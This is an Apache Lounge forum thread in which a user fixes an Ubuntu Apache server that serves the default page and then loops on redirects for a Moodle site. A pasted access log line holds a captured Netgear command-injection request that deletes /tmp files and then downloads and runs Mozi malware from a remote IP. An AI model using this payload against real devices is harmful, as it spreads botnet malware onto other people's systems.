logo
Apache Lounge
Webmasters

 

About Forum Index Downloads Search Register Log in  RSS Apache Lounge  


Keep Server Online

If you find the Apache Lounge, the downloads and overall help useful, please express your satisfaction with a donation.

or

Bitcoin

A donation makes a contribution towards the costs, the time and effort that's going in this site and building.

Thank You! Steffen

Your donations will help to keep this site alive and well, and continuing building binaries. Apache Lounge is not sponsored.



Post new topic   Forum Index -> Apache View previous topic :: View next topic
Reply to topic   Topic: apache2 brings up wrong docroot
Author
coldje



Joined: 30 Sep 2020
Posts: 5
Location: USA, Charlotte

PostPosted: Wed 30 Sep '20 23:38    Post subject: apache2 brings up wrong docroot Reply with quote

Ubuntu server 20.04 LTS. Moodle doc root = /var/www/html/moodle and is defined in /etc/apache2/sites-enabled/000-default.conf for a vhost. We do IP masquerading so oisnc.org should redirect to 172.74.14.216:8080 which gets forwarded to 192.168.0.8:8080. Every time I try http://oisnc.org, Moodle does not come up. Instead the default Apache web page comes up from /var/www/html. Even http://oisnc.org/moodle brings up the same default Apache page. Using a2ensite oisnc.org I get: ERROR: Site oisnc.org does not exist! A search brings up to make sure the file where you define the vhost has a .conf filename extension. It does. What am I missing?
Back to top
kswebdev



Joined: 17 Jul 2020
Posts: 8
Location: United States, Hill City, KS

PostPosted: Thu 01 Oct '20 0:16    Post subject: IP Masquerading Reply with quote

If your sure that you have apache .conf files properly configured. You may want to take a look at the Linux Network Administrators Guide on "IP Masquerading".

Here are the links.

Linux Network Administrators Guide https://www.iitk.ac.in/LDP/LDP/nag2/index.html (index)

Chapter 11. IP Masquerade and Network Address Translation https://www.iitk.ac.in/LDP/LDP/nag2/x-087-2-masq.namelookups.html

Best of luck Smile
Back to top
coldje



Joined: 30 Sep 2020
Posts: 5
Location: USA, Charlotte

PostPosted: Thu 01 Oct '20 4:25    Post subject: More info Reply with quote

Found in other_vhosts_access.log
oisnc.org:80 78.108.177.54 - - [01/Oct/2020:00:25:50 +0000] "GET / HTTP/1.0" 200 11192 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
oisnc.org:80 92.54.237.195 - - [01/Oct/2020:01:03:41 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://92.54.237.195:39852/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 451 "-" "-"

What I notice is it is using Port 80. Namecheap.com is forwarding oisnc.org to the WAN side of the modem at port 8080.

From the access log in the Moodle directory, two lines:
75.176.52.45 - - [30/Sep/2020:04:41:02 +0000] "GET / HTTP/1.1" 303 699 "http://oisnc.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36"
75.176.52.45 - - [30/Sep/2020:04:41:02 +0000] "GET / HTTP/1.1" 303 698 "http://oisnc.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36"
Back to top
kswebdev



Joined: 17 Jul 2020
Posts: 8
Location: United States, Hill City, KS

PostPosted: Thu 01 Oct '20 19:04    Post subject: Router or configuration problem? Reply with quote

"oisnc.org" already exists as, https://oisnc.org/ ,but is unacceptable directly. I had to do a google search and click on the resulting link to find the webpage.

From what I can see, the domain name "oisnc.org" uses ssl and has a valid certificate.
When i google search the domain "oisnc.org", the reults show it is a secure site.
Your problem is most likely in your apache config files.

Check your ssl cofiguration file in apache.
Make sure your SSL certs are properly installed on your server.

If you are switching from a hosting service, and trying to host the domain yourself, it's possible the new DNS has not propagated yet.

Don't rule out the router just yet though. The errors your seeing there could be the culprit.

I apologize for not having the answer you need, but it's hard to find the true nature of the problem without all the facts and configuration files.

Again, best of luck Smile
Back to top
coldje



Joined: 30 Sep 2020
Posts: 5
Location: USA, Charlotte

PostPosted: Fri 02 Oct '20 3:59    Post subject: Reply with quote

Hmm...I don't think that's possible. I don't have a certificate and I haven't opened Port 443 in the router yet.

The web site is bringing up the default Apache web page even though I've renamed all index.htm* files. I don't know where that page is coming from. It's very weird.
Back to top
kswebdev



Joined: 17 Jul 2020
Posts: 8
Location: United States, Hill City, KS

PostPosted: Fri 02 Oct '20 9:08    Post subject: ERR_TOO_MANY_REDIRECTS Reply with quote

Sorry, I mistakenly searched for "osinc.org", is how I got the google results the first time.

Ok, now when I try http://oisnc.org/ (or) http://172.74.14.216:8080/ , I get an error in Firefox (The page isn’t redirecting properly.) (Firefox has detected that the server is redirecting the request for this address in a way that will never complete.)
In Google Chrome I get this error (This page isn’t working 172.74.14.216 redirected you too many times. ERR_TOO_MANY_REDIRECTS)

It's looking more like it could be a problem in your .htaccess file that is causing apache not to properly redirect to the location your wanting to send your visitors.

You could try something like this in your .htaccess file to see if it fixes your problem.

RewriteEngine On
RewriteCond %{SERVER_PORT} 8080
RewriteRule ^(.*)$ http://oisnc.org/$1 [R,L]

But seeing the error in Google Chrome (redirected you too many times), has me wondering what your index file looks like in your web root. Somehow you have a loop going on somewhere to cause the error (redirected you too many times).

I'm sure your getting frustrated, so take a deep breath and double check your syntax in your index file for errors.
W3C Markup Validation Service ( https://validator.w3.org/check?uri=http%3A%2F%2Foisnc.org%2F&charset=%28detect+automatically%29&doctype=Inline&group=0 )

The error “too many redirects” means that the website keeps being redirected ... The next step in troubleshooting these kinds of redirect loops is to use the Developer Tools in Firefox or Chrome.

Found this surfing (Fix redirect loop in Moodle easily) maybe worth a look!
https://bobcares.com/blog/fix-redirect-loop-in-moodle-easily/

Your almost there, hang in there!
Back to top
coldje



Joined: 30 Sep 2020
Posts: 5
Location: USA, Charlotte

PostPosted: Fri 02 Oct '20 19:34    Post subject: Reply with quote

Thank you very much! I followed the last link in your post about Moodle redirects and went through all the things they suggested, but no fix yet. Then since you used W3C, I decided to run my little test index.html file through and fixed a few things. Then I copied the index.html file to the Moodle docroot and bam! the test index.html file came up with no redirects. This tells me the router, Apache, and my vhost are all configured correctly. It has something to do with the index.php file in the Moodle directory causing the redirects. I'll start commenting them out and testing. I'll post an update when I find the offending line.
Back to top
kswebdev



Joined: 17 Jul 2020
Posts: 8
Location: United States, Hill City, KS

PostPosted: Fri 02 Oct '20 20:33    Post subject: This webpage has a redirect loop ERR_TOO_MANY_REDIRECTS Reply with quote

Found this in Moddle Tracker. (worth a look!) https://tracker.moodle.org/browse/MDL-51339?jql=text%20~%20%22to%20many%20redirects%22 (appeared to be a fix for some).

If you still need to look into your PHP code for errors. I occasionally use this service to check my .php code for syntax errors. (PHP Code Checker) - perform a syntax check (lint) and a custom check for common errors. This free service performs a line-by-line analysis for common mistakes and errors in your PHP syntax and will not execute or save your code. https://phpcodechecker.com/
Back to top
coldje



Joined: 30 Sep 2020
Posts: 5
Location: USA, Charlotte

PostPosted: Sat 03 Oct '20 4:09    Post subject: Reply with quote

Fixed it! This thread you provided from Moodle Tracker told me to delete the contents of the cache directory and re-install Moodle. I don't know where the glitch was, but it worked.

Thank you for yoru generous help.
Back to top
kswebdev



Joined: 17 Jul 2020
Posts: 8
Location: United States, Hill City, KS

PostPosted: Sat 03 Oct '20 6:01    Post subject: Congrats on your success Reply with quote

Your very welcome Smile It gives me a great deal of satisfaction knowing that I was able to pay it forward to a fellow Apacherian here at the Apache Lounge.
Back to top


Reply to topic   Topic: apache2 brings up wrong docroot View previous topic :: View next topic
Post new topic   Forum Index -> Apache